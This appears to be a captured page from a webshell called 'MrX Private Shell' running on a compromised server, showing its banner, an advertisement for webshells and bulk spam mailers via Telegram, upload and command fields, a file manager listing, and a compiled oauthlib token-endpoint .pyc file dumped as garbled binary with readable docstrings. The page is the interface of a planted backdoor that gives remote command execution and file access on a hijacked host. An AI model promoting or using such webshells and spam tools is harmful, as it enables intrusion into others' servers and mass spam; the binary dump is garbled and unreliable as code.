__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

'�{g���r�SrSSKrSSKJr SSKJr SSKJrJr \R"\
5r"SS\5rg)	z�
oauthlib.oauth2.rfc6749
~~~~~~~~~~~~~~~~~~~~~~~

This module is an implementation of various logic needed
for consuming and providing OAuth 2.0 RFC6749.
�N)�Request)�utils�)�BaseEndpoint�catch_errors_and_unavailabilityc��\rSrSrSrSrSr\S5r\S5r	\S5r
\S5r\S
S
j5r
SrSrg	)�
TokenEndpoint�a[Token issuing endpoint.

The token endpoint is used by the client to obtain an access token by
presenting its authorization grant or refresh token.  The token
endpoint is used with every authorization grant except for the
implicit grant type (since an access token is issued directly).

The means through which the client obtains the location of the token
endpoint are beyond the scope of this specification, but the location
is typically provided in the service documentation.

The endpoint URI MAY include an "application/x-www-form-urlencoded"
formatted (per `Appendix B`_) query component,
which MUST be retained when adding additional query parameters.  The
endpoint URI MUST NOT include a fragment component::

    https://example.com/path?query=component             # OK
    https://example.com/path?query=component#fragment    # Not OK

Since requests to the token endpoint result in the transmission of
clear-text credentials (in the HTTP request and response), the
authorization server MUST require the use of TLS as described in
Section 1.6 when sending requests to the token endpoint::

    # We will deny any request which URI schema is not with https

The client MUST use the HTTP "POST" method when making access token
requests::

    # HTTP method is currently not enforced

Parameters sent without a value MUST be treated as if they were
omitted from the request.  The authorization server MUST ignore
unrecognized request parameters.  Request and response parameters
MUST NOT be included more than once::

    # Delegated to each grant type.

.. _`Appendix B`: https://tools.ietf.org/html/rfc6749#appendix-B
)�POSTc�T�[R"U5 X0lX lXlg�N)r�__init__�_grant_types�_default_token_type�_default_grant_type)�self�default_grant_type�default_token_type�grant_typess    �I/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/endpoints/token.pyr�TokenEndpoint.__init__?s"�����d�#�'��#5� �#5� �c��UR$r
)r�rs rr�TokenEndpoint.grant_typesEs��� � � rc��UR$r
)rrs rr� TokenEndpoint.default_grant_typeI����'�'�'rc�L�URRUR5$r
)r�getrrs r�default_grant_type_handler�(TokenEndpoint.default_grant_type_handlerMs�����#�#�D�$;�$;�<�<rc��UR$r
)rrs rr� TokenEndpoint.default_token_typeQrrNc��[XX4S9nURU5 [R"UR5UlXXlU(aXhlU(aXxlURRURUR5n	[RSURU	5 U	RX�R5$)z7Extract grant_type and route to the designated handler.)�http_method�body�headersz(Dispatching grant_type %s request to %r.)r�validate_token_requestr�
scope_to_list�scope�scopes�extra_credentials�
grant_type�claimsrr r!�log�debug�create_token_responser)
r�urir&r'r(�credentials�grant_type_for_scoper/�request�grant_type_handlers
          rr2�#TokenEndpoint.create_token_responseUs���
��t�F���#�#�G�,�
�,�,�W�]�]�;���$/�!��!5���#�N�!�-�-�1�1�'�2D�2D�26�2Q�2Q�S���	�	�<��$�$�&8�	:�!�7�7��,�,�.�	.rc�H�URU5 URU5 gr
)�_raise_on_bad_method�_raise_on_bad_post_request)rr6s  rr)�$TokenEndpoint.validate_token_requestus���!�!�'�*��'�'��0r)rrr)rNNNNN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�valid_request_methodsr�propertyrrr!rrr2r)�__static_attributes__�rrr	r	s���'�R&��6��!��!��(��(��=��=��(��(�%�BF�SW�%)�.�%�.�>1rr	)
rA�logging�oauthlib.commonr�oauthlib.oauth2.rfc6749r�baserr�	getLoggerr=r0r	rErr�<module>rKs6����#�)�?�
����!��e1�L�e1r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 852 B 0644
authorization.cpython-313.pyc File 5.54 KB 0644
base.cpython-313.pyc File 6.22 KB 0644
introspect.cpython-313.pyc File 5.74 KB 0644
metadata.cpython-313.pyc File 11.62 KB 0644
pre_configured.cpython-313.pyc File 10.2 KB 0644
resource.cpython-313.pyc File 4.62 KB 0644
revocation.cpython-313.pyc File 5.87 KB 0644
token.cpython-313.pyc File 5.09 KB 0644
Filemanager